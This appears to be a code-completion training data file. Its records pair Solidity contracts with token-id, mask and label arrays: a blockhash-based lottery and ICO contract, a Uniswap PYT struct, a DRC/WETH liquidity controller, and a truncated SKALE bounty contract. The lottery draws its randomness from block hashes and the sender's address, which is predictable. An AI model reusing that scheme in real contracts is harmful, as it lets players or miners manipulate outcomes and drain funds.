external { houseKeeping(); } /* housekeeping functions */ /** * @dev Update accounting */ function houseKeeping() public { if(investStart > 1 && block.number >= investStart + (hashesSize * 5)){ // ca. 14 days investStart = 0; // start dividend payments } else { if(hashFirst > 0){ uint period = (block.number - hashFirst) / (10 * hashesSize ); if(period > dividends.length - 2) { dividends.push(0); } if(period > dividendPeriod && investStart == 0 && dividendPeriod < dividends.length - 1) { dividendPeriod++; } } } } /* payments */ /** * @dev Pay balance from wallet */ function payWallet() public { if(wallets[msg.sender].balance > 0 && wallets[msg.sender].nextWithdrawBlock <= block.number){ uint balance = wallets[msg.sender].balance; wallets[msg.sender].balance = 0; walletBalance -= balance; pay(balance); } } function pay(uint _amount) private { uint maxpay = this.balance / 2; if(maxpay >= _amount) { msg.sender.transfer(_amount); if(_amount > 1 finney) { houseKeeping(); } } else { uint keepbalance = _amount - maxpay; walletBalance += keepbalance; wallets[msg.sender].balance += uint208(keepbalance); wallets[msg.sender].nextWithdrawBlock = uint32(block.number + 4 * 60 * 24 * 30); // wait 1 month for more funds msg.sender.transfer(maxpay); } } /* investment functions */ /** * @dev Buy tokens */ function investDirect() payable external { invest(owner); } /** * @dev Buy tokens with affiliate partner * @param _partner Affiliate partner */ function invest(address _partner) payable public { //require(fromUSA()==false); // fromUSA() not yet implemented :-( require(investStart > 1 && block.number < investStart + (hashesSize * 5) && investBalance < investBalanceMax); uint investing = msg.value; if(investing > investBalanceMax - investBalance) { investing = investBalanceMax - investBalance; investBalance = investBalanceMax; investStart = 0; // close investment round msg.sender.transfer(msg.value.sub(investing)); // send back funds immediately } else{ investBalance += investing; } if(_partner == address(0) || _partner == owner){ walletBalance += investing / 10; wallets[owner].balance += uint208(investing / 10);} // 10% for marketing if no affiliates else{ walletBalance += (investing * 5 / 100) * 2; wallets[owner].balance += uint208(investing * 5 / 100); // 5% initial marketing funds wallets[_partner].balance += uint208(investing * 5 / 100);} // 5% for affiliates wallets[msg.sender].lastDividendPeriod = uint16(dividendPeriod); // assert(dividendPeriod == 1); uint senderBalance = investing / 10**15; uint ownerBalance = investing * 16 / 10**17 ; uint animatorBalance = investing * 10 / 10**17 ; balances[msg.sender] += senderBalance; balances[owner] += ownerBalance ; // 13% of shares go to developers balances[animator] += animatorBalance ; // 8% of shares go to animator totalSupply += senderBalance + ownerBalance + animatorBalance; Transfer(address(0),msg.sender,senderBalance); // for etherscan Transfer(address(0),owner,ownerBalance); // for etherscan Transfer(address(0),animator,animatorBalance); // for etherscan LogInvestment(msg.sender,_partner,investing); } /** * @dev Delete all tokens owned by sender and return unpaid dividends and 90% of initial investment */ function disinvest() external { require(investStart == 0); commitDividend(msg.sender); uint initialInvestment = balances[msg.sender] * 10**15; Transfer(msg.sender,address(0),balances[msg.sender]); // for etherscan delete balances[msg.sender]; // totalSupply stays the same, investBalance is reduced investBalance -= initialInvestment; wallets[msg.sender].balance += uint208(initialInvestment * 9 / 10); payWallet(); } /** * @dev Pay unpaid dividends */ function payDividends() external { require(investStart == 0); commitDividend(msg.sender); payWallet(); } /** * @dev Commit remaining dividends before transfer of tokens */ function commitDividend(address _who) internal { uint last = wallets[_who].lastDividendPeriod; if((balances[_who]==0) || (last==0)){ wallets[_who].lastDividendPeriod=uint16(dividendPeriod); return; } if(last==dividendPeriod) { return; } uint share = balances[_who] * 0xffffffff / totalSupply; uint balance = 0; for(;last<dividendPeriod;last++) { balance += share * dividends[last]; } balance = (balance / 0xffffffff); walletBalance += balance; wallets[_who].balance += uint208(balance); wallets[_who].lastDividendPeriod = uint16(last); LogDividend(_who,balance,last); } /* lottery functions */ function betPrize(Bet _player, uint24 _hash) constant private returns (uint) { // house fee 13.85% uint24 bethash = uint24(_player.betHash); uint24 hit = bethash ^ _hash; uint24 matches = ((hit & 0xF) == 0 ? 1 : 0 ) + ((hit & 0xF0) == 0 ? 1 : 0 ) + ((hit & 0xF00) == 0 ? 1 : 0 ) + ((hit & 0xF000) == 0 ? 1 : 0 ) + ((hit & 0xF0000) == 0 ? 1 : 0 ) + ((hit & 0xF00000) == 0 ? 1 : 0 ); if(matches == 6){ return(uint(_player.value) * 7000000); } if(matches == 5){ return(uint(_player.value) * 20000); } if(matches == 4){ return(uint(_player.value) * 500); } if(matches == 3){ return(uint(_player.value) * 25); } if(matches == 2){ return(uint(_player.value) * 3); } return(0); } /** * @dev Check if won in lottery */ function betOf(address _who) constant external returns (uint) { Bet memory player = bets[_who]; if( (player.value==0) || (player.blockNum<=1) || (block.number<player.blockNum) || (block.number>=player.blockNum + (10 * hashesSize))){ return(0); } if(block.number<player.blockNum+256){ return(betPrize(player,uint24(block.blockhash(player.blockNum)))); } if(hashFirst>0){ uint32 hash = getHash(player.blockNum); if(hash == 0x1000000) { // load hash failed :-(, return funds return(uint(player.value)); } else{ return(betPrize(player,uint24(hash))); } } return(0); } /** * @dev Check if won in lottery */ function won() public { Bet memory player = bets[msg.sender]; if(player.blockNum==0){ // create a new player bets[msg.sender] = Bet({value: 0, betHash: 0, blockNum: 1}); return; } if((player.value==0) || (player.blockNum==1)){ payWallet(); return; } require(block.number>player.blockNum); // if there is an active bet, throw() if(player.blockNum + (10 * hashesSize) <= block.number){ // last bet too long ago, lost ! LogLate(msg.sender,player.blockNum,block.number); bets[msg.sender] = Bet({value: 0, betHash: 0, blockNum: 1}); return; } uint prize = 0; uint32 hash = 0; if(block.number<player.blockNum+256){ hash = uint24(block.blockhash(player.blockNum)); prize = betPrize(player,uint24(hash)); } else { if(hashFirst>0){ // lottery is open even before swap space (hashes) is ready, but player must collect results within 256 blocks after run hash = getHash(player.blockNum); if(hash == 0x1000000) { // load hash failed :-(, return funds prize = uint(player.value); } else{ prize = betPrize(player,uint24(hash)); } } else{ LogLate(msg.sender,player.blockNum,block.number); bets[msg.sender] = Bet({value: 0, betHash: 0, blockNum: 1}); return(); } } bets[msg.sender] = Bet({value: 0, betHash: 0, blockNum: 1}); if(prize>0) { LogWin(msg.sender,uint(player.betHash),uint(hash),prize); if(prize > maxWin){ maxWin = prize; LogRecordWin(msg.sender,prize); } pay(prize); } else{ LogLoss(msg.sender,uint(player.betHash),uint(hash)); } } /** * @dev Send ether to buy tokens during ICO * @dev or send less than 1 ether to contract to play * @dev or send 0 to collect prize */ function () payable external { if(msg.value > 0){ if(investStart>1){ // during ICO payment to the contract is treated as investment invest(owner); } else{ // if not ICO running payment to contract is treated as play play(); } return; } //check for dividends and other assets if(investStart == 0 && balances[msg.sender]>0){ commitDividend(msg.sender);} won(); // will run payWallet() if nothing else available } /** * @dev Play in lottery */ function play() payable public returns (uint) { return playSystem(uint(sha3(msg.sender,block.number)), address(0)); } /** * @dev Play in lottery with random numbers * @param _partner Affiliate partner */ function playRandom(address _partner) payable public returns (uint) { return playSystem(uint(sha3(msg.sender,block.number)), _partner); } /** * @dev Play in lottery with own numbers * @param _partner Affiliate partner */ function playSystem(uint _hash, address _partner) payable public returns (uint) { won(); // check if player did not win uint24 bethash = uint24(_hash); require(msg.value <= 1 ether && msg.value < hashBetMax); if(msg.value > 0){ if(investStart==0) { // dividends only after investment finished dividends[dividendPeriod] += msg.value / 20; // 5% dividend } if(_partner != address(0)) { uint fee = msg.value / 100; walletBalance += fee; wallets[_partner].balance += uint208(fee); // 1% for affiliates } if(hashNext < block.number + 3) { hashNext = block.number + 3; hashBetSum = msg.value; } else{ if(hashBetSum > hashBetMax) { hashNext++; hashBetSum = msg.value; } else{ hashBetSum += msg.value; } } bets[msg.sender] = Bet({value: uint192(msg.value), betHash: uint32(bethash), blockNum: uint32(hashNext)}); LogBet(msg.sender,uint(bethash),hashNext,msg.value); } putHash(); // players help collecing data return(hashNext); } /* database functions */ /** * @dev Create hash data swap space * @param _sadd Number of hashes to add (<=256) */ function addHashes(uint _sadd) public returns (uint) { require(hashFirst == 0 && _sadd > 0 && _sadd <= hashesSize); uint n = hashes.length; if(n + _sadd > hashesSize){ hashes.length = hashesSize; } else{ hashes.length += _sadd; } for(;n<hashes.length;n++){ // make sure to burn gas hashes[n] = 1; } if(hashes.length>=hashesSize) { // assume block.number > 10 hashFirst = block.number - ( block.number % 10); hashLast = hashFirst; } return(hashes.length); } /** * @dev Create hash data swap space, add 128 hashes */ function addHashes128() external returns (uint) { return(addHashes(128)); } function calcHashes(uint32 _lastb, uint32 _delta) constant private returns (uint) { return( ( uint(block.blockhash(_lastb )) & 0xFFFFFF ) | ( ( uint(block.blockhash(_lastb+1)) & 0xFFFFFF ) << 24 ) | ( ( uint(block.blockhash(_lastb+2)) & 0xFFFFFF ) << 48 ) | ( ( uint(block.blockhash(_lastb+3)) & 0xFFFFFF ) << 72 ) | ( ( uint(block.blockhash(_lastb+4)) & 0xFFFFFF ) << 96 ) | ( ( uint(block.blockhash(_lastb+5)) & 0xFFFFFF ) << 120 ) | ( ( uint(block.blockhash(_lastb+6)) & 0xFFFFFF ) << 144 ) | ( ( uint(block.blockhash(_lastb+7)) & 0xFFFFFF ) << 168 ) | ( ( uint(block.blockhash(_lastb+8)) & 0xFFFFFF ) << 192 ) | ( ( uint(block.blockhash(_lastb+9)) & 0xFFFFFF ) << 216 ) | ( ( uint(_delta) / hashesSize) << 240)); } function getHash(uint _block) constant private returns (uint32) { uint delta = (_block - hashFirst) / 10; uint hash = hashes[delta % hashesSize]; if(delta / hashesSize != hash >> 240) { return(0x1000000); // load failed, incorrect data in hashes } uint slotp = (_block - hashFirst) % 10; return(uint32((hash >> (24 * slotp)) & 0xFFFFFF)); } /** * @dev Fill hash data */ function putHash() public returns (bool) { uint lastb = hashLast; if(lastb == 0 || block.number <= lastb + 10) { return(false); } uint blockn256; if(block.number<256) { // useless test for testnet :-( blockn256 = 0; } else{ blockn256 = block.number - 256; } if(lastb < blockn256) { uint num = blockn256; num += num % 10; lastb = num; } uint delta = (lastb - hashFirst) / 10; hashes[delta % hashesSize] = calcHashes(uint32(lastb),uint32(delta)); hashLast = lastb + 10; return(true); } /** * @dev Fill hash data many times * @param _num Number of iterations */ function putHashes(uint _num) external { uint n=0; for(;n<_num;n++){ if(!putHash()){ return; } } } }
* @dev Update accounting/
function houseKeeping() public { }
2,111,691
[ 1, 1891, 2236, 310, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 23867, 11523, 310, 1435, 1071, 288, 203, 203, 3639, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xb17c618ed53B4A3536D2AF3Af73c6b303DbfAb5B/sources/UniswapV3xPYT.sol
----------------------------------------------------------------------- Library usage ----------------------------------------------------------------------- ----------------------------------------------------------------------- Errors ----------------------------------------------------------------------- ----------------------------------------------------------------------- Events ----------------------------------------------------------------------- ----------------------------------------------------------------------- Structs ----------------------------------------------------------------------- @param activated True if emergency exit has been activated, false if not @param pytPriceInUnderlying The amount of underlying assets each PYT can redeem for. Should be a value in the range [0, PRECISION]
struct EmergencyExitStatus { bool activated; uint96 pytPriceInUnderlying; } Factory public immutable factory; public userYieldPerTokenStored;
3,679,991
[ 1, 5802, 17082, 18694, 4084, 24796, 24796, 9372, 24796, 24796, 9043, 24796, 24796, 7362, 87, 24796, 225, 14892, 1053, 309, 801, 24530, 2427, 711, 2118, 14892, 16, 629, 309, 486, 225, 2395, 88, 5147, 382, 14655, 6291, 1021, 3844, 434, 6808, 7176, 1517, 12191, 56, 848, 283, 24903, 364, 18, 9363, 506, 279, 460, 316, 326, 1048, 306, 20, 16, 7071, 26913, 65, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1958, 512, 6592, 75, 2075, 6767, 1482, 288, 203, 3639, 1426, 14892, 31, 203, 3639, 2254, 10525, 2395, 88, 5147, 382, 14655, 6291, 31, 203, 565, 289, 203, 203, 203, 203, 565, 7822, 1071, 11732, 3272, 31, 203, 203, 203, 203, 3639, 1071, 729, 16348, 2173, 1345, 18005, 31, 203, 203, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "./interfaces/IUniswapV2Pair.sol"; import "./libraries/UniswapV2Library.sol"; import "./interfaces/IUniswapV2Router02.sol"; import "./DraculaToken.sol"; /** * @title Adds permanent liquidity to DRC/ETH pool */ contract LiquidityController { using SafeMath for uint256; using SafeERC20 for IERC20; DraculaToken constant DRACULA = DraculaToken(0xb78B3320493a4EFaa1028130C5Ba26f0B6085Ef8); IERC20 constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); IUniswapV2Pair constant DRC_WETH_PAIR = IUniswapV2Pair(0x276E62C70e0B540262491199Bc1206087f523AF6); IUniswapV2Router02 constant UNI_ROUTER = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address constant DEAD = 0x000000000000000000000000000000000000dEaD; /// @notice Construct and approve spending for LP assets constructor() public { DRACULA.approve(address(UNI_ROUTER), uint256(-1)); WETH.approve(address(UNI_ROUTER), uint256(-1)); } /** * @notice Transfers specified amount of WETH from caller and uses half to buy DRC. * The DRC and remaining WETH are permanently added to liquidity pool. * @param amount the amount of WETH to transfer from caller */ function addLiquidity(uint256 amount) external { WETH.safeTransferFrom(msg.sender, address(this), amount); uint256 halfWethBalance = WETH.balanceOf(address(this)).div(2); WETH.safeTransfer(address(DRC_WETH_PAIR), halfWethBalance); (uint drcReserve, uint wethReserve,) = DRC_WETH_PAIR.getReserves(); uint256 amountOutput = UniswapV2Library.getAmountOut(halfWethBalance, wethReserve, drcReserve); DRC_WETH_PAIR.swap(amountOutput, uint256(0), address(this), new bytes(0)); UNI_ROUTER.addLiquidity(address(DRACULA), address(WETH), amountOutput, halfWethBalance, 1, 1, DEAD, block.timestamp + 120); DRACULA.burn(DRACULA.balanceOf(address(this))); } }
* @notice Transfers specified amount of WETH from caller and uses half to buy DRC. The DRC and remaining WETH are permanently added to liquidity pool. @param amount the amount of WETH to transfer from caller/
function addLiquidity(uint256 amount) external { WETH.safeTransferFrom(msg.sender, address(this), amount); uint256 halfWethBalance = WETH.balanceOf(address(this)).div(2); WETH.safeTransfer(address(DRC_WETH_PAIR), halfWethBalance); (uint drcReserve, uint wethReserve,) = DRC_WETH_PAIR.getReserves(); uint256 amountOutput = UniswapV2Library.getAmountOut(halfWethBalance, wethReserve, drcReserve); DRC_WETH_PAIR.swap(amountOutput, uint256(0), address(this), new bytes(0)); UNI_ROUTER.addLiquidity(address(DRACULA), address(WETH), amountOutput, halfWethBalance, 1, 1, DEAD, block.timestamp + 120); DRACULA.burn(DRACULA.balanceOf(address(this))); }
1,016,854
[ 1, 1429, 18881, 1269, 3844, 434, 678, 1584, 44, 628, 4894, 471, 4692, 8816, 358, 30143, 463, 11529, 18, 540, 1021, 463, 11529, 471, 4463, 678, 1584, 44, 854, 16866, 715, 3096, 358, 4501, 372, 24237, 2845, 18, 225, 3844, 326, 3844, 434, 678, 1584, 44, 358, 7412, 628, 4894, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 527, 48, 18988, 24237, 12, 11890, 5034, 3844, 13, 3903, 288, 203, 3639, 678, 1584, 44, 18, 4626, 5912, 1265, 12, 3576, 18, 15330, 16, 1758, 12, 2211, 3631, 3844, 1769, 203, 3639, 2254, 5034, 8816, 59, 546, 13937, 273, 678, 1584, 44, 18, 12296, 951, 12, 2867, 12, 2211, 13, 2934, 2892, 12, 22, 1769, 203, 3639, 678, 1584, 44, 18, 4626, 5912, 12, 2867, 12, 6331, 39, 67, 59, 1584, 44, 67, 4066, 7937, 3631, 8816, 59, 546, 13937, 1769, 203, 3639, 261, 11890, 302, 1310, 607, 6527, 16, 2254, 341, 546, 607, 6527, 16, 13, 273, 463, 11529, 67, 59, 1584, 44, 67, 4066, 7937, 18, 588, 607, 264, 3324, 5621, 203, 3639, 2254, 5034, 3844, 1447, 273, 1351, 291, 91, 438, 58, 22, 9313, 18, 588, 6275, 1182, 12, 20222, 59, 546, 13937, 16, 341, 546, 607, 6527, 16, 302, 1310, 607, 6527, 1769, 203, 3639, 463, 11529, 67, 59, 1584, 44, 67, 4066, 7937, 18, 22270, 12, 8949, 1447, 16, 2254, 5034, 12, 20, 3631, 1758, 12, 2211, 3631, 394, 1731, 12, 20, 10019, 203, 203, 3639, 19462, 67, 1457, 1693, 654, 18, 1289, 48, 18988, 24237, 12, 2867, 12, 6331, 2226, 1506, 37, 3631, 203, 1171, 9079, 1758, 12, 59, 1584, 44, 3631, 203, 1171, 9079, 3844, 1447, 16, 203, 1171, 9079, 8816, 59, 546, 13937, 16, 203, 1171, 9079, 404, 16, 203, 1171, 9079, 404, 16, 203, 1171, 9079, 2030, 1880, 16, 203, 1171, 9079, 1203, 18, 5508, 397, 15743, 1769, 203, 3639, 16801, 2226, 2 ]
// SPDX-License-Identifier: AGPL-3.0-only /* Bounty.sol - SKALE Manager Copyright (C) 2020-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "./delegation/DelegationController.sol"; import "./delegation/PartialDifferences.sol"; import "./delegation/TimeHelpers.sol"; import "./delegation/ValidatorService.sol"; import "./ConstantsHolder.sol"; import "./Nodes.sol"; import "./Permissions.sol"; contract BountyV2 is Permissions { using PartialDifferences for PartialDifferences.Value; using PartialDifferences for PartialDifferences.Sequence; struct BountyHistory { uint month; uint bountyPaid; } uint public constant YEAR1_BOUNTY = 3850e5 * 1e18; uint public constant YEAR2_BOUNTY = 3465e5 * 1e18; uint public constant YEAR3_BOUNTY = 3080e5 * 1e18; uint public constant YEAR4_BOUNTY = 2695e5 * 1e18; uint public constant YEAR5_BOUNTY = 2310e5 * 1e18; uint public constant YEAR6_BOUNTY = 1925e5 * 1e18; uint public constant EPOCHS_PER_YEAR = 12; uint public constant SECONDS_PER_DAY = 24 * 60 * 60; uint public constant BOUNTY_WINDOW_SECONDS = 3 * SECONDS_PER_DAY; uint private _nextEpoch; uint private _epochPool; uint private _bountyWasPaidInCurrentEpoch; bool public bountyReduction; uint public nodeCreationWindowSeconds; PartialDifferences.Value private _effectiveDelegatedSum; // validatorId amount of nodes mapping (uint => uint) public nodesByValidator; // deprecated // validatorId => BountyHistory mapping (uint => BountyHistory) private _bountyHistory; function calculateBounty(uint nodeIndex) external allow("SkaleManager") returns (uint) { ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); Nodes nodes = Nodes(contractManager.getContract("Nodes")); TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers")); DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController") ); require( _getNextRewardTimestamp(nodeIndex, nodes, timeHelpers) <= now, "Transaction is sent too early" ); uint validatorId = nodes.getValidatorId(nodeIndex); if (nodesByValidator[validatorId] > 0) { delete nodesByValidator[validatorId]; } uint currentMonth = timeHelpers.getCurrentMonth(); _refillEpochPool(currentMonth, timeHelpers, constantsHolder); _prepareBountyHistory(validatorId, currentMonth); uint bounty = _calculateMaximumBountyAmount( _epochPool, _effectiveDelegatedSum.getAndUpdateValue(currentMonth), _bountyWasPaidInCurrentEpoch, nodeIndex, _bountyHistory[validatorId].bountyPaid, delegationController.getAndUpdateEffectiveDelegatedToValidator(validatorId, currentMonth), delegationController.getAndUpdateDelegatedToValidatorNow(validatorId), constantsHolder, nodes ); _bountyHistory[validatorId].bountyPaid = _bountyHistory[validatorId].bountyPaid.add(bounty); bounty = _reduceBounty( bounty, nodeIndex, nodes, constantsHolder ); _epochPool = _epochPool.sub(bounty); _bountyWasPaidInCurrentEpoch = _bountyWasPaidInCurrentEpoch.add(bounty); return bounty; } function enableBountyReduction() external onlyOwner { bountyReduction = true; } function disableBountyReduction() external onlyOwner { bountyReduction = false; } function setNodeCreationWindowSeconds(uint window) external allow("Nodes") { nodeCreationWindowSeconds = window; } function handleDelegationAdd( uint amount, uint month ) external allow("DelegationController") { _effectiveDelegatedSum.addToValue(amount, month); } function handleDelegationRemoving( uint amount, uint month ) external allow("DelegationController") { _effectiveDelegatedSum.subtractFromValue(amount, month); } function populate() external onlyOwner { ValidatorService validatorService = ValidatorService(contractManager.getValidatorService()); DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController") ); TimeHelpers timeHelpers = TimeHelpers(contractManager.getTimeHelpers()); uint currentMonth = timeHelpers.getCurrentMonth(); // clean existing data for ( uint i = _effectiveDelegatedSum.firstUnprocessedMonth; i < _effectiveDelegatedSum.lastChangedMonth.add(1); ++i ) { delete _effectiveDelegatedSum.addDiff[i]; delete _effectiveDelegatedSum.subtractDiff[i]; } delete _effectiveDelegatedSum.value; delete _effectiveDelegatedSum.lastChangedMonth; _effectiveDelegatedSum.firstUnprocessedMonth = currentMonth; uint[] memory validators = validatorService.getTrustedValidators(); for (uint i = 0; i < validators.length; ++i) { uint validatorId = validators[i]; uint currentEffectiveDelegated = delegationController.getAndUpdateEffectiveDelegatedToValidator(validatorId, currentMonth); uint[] memory effectiveDelegated = delegationController.getEffectiveDelegatedValuesByValidator(validatorId); if (effectiveDelegated.length > 0) { assert(currentEffectiveDelegated == effectiveDelegated[0]); } uint added = 0; for (uint j = 0; j < effectiveDelegated.length; ++j) { if (effectiveDelegated[j] != added) { if (effectiveDelegated[j] > added) { _effectiveDelegatedSum.addToValue(effectiveDelegated[j].sub(added), currentMonth + j); } else { _effectiveDelegatedSum.subtractFromValue(added.sub(effectiveDelegated[j]), currentMonth + j); } added = effectiveDelegated[j]; } } delete effectiveDelegated; } } function estimateBounty(uint nodeIndex) external view returns (uint) { ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); Nodes nodes = Nodes(contractManager.getContract("Nodes")); TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers")); DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController") ); uint currentMonth = timeHelpers.getCurrentMonth(); uint validatorId = nodes.getValidatorId(nodeIndex); uint stagePoolSize; (stagePoolSize, ) = _getEpochPool(currentMonth, timeHelpers, constantsHolder); return _calculateMaximumBountyAmount( stagePoolSize, _effectiveDelegatedSum.getValue(currentMonth), _nextEpoch == 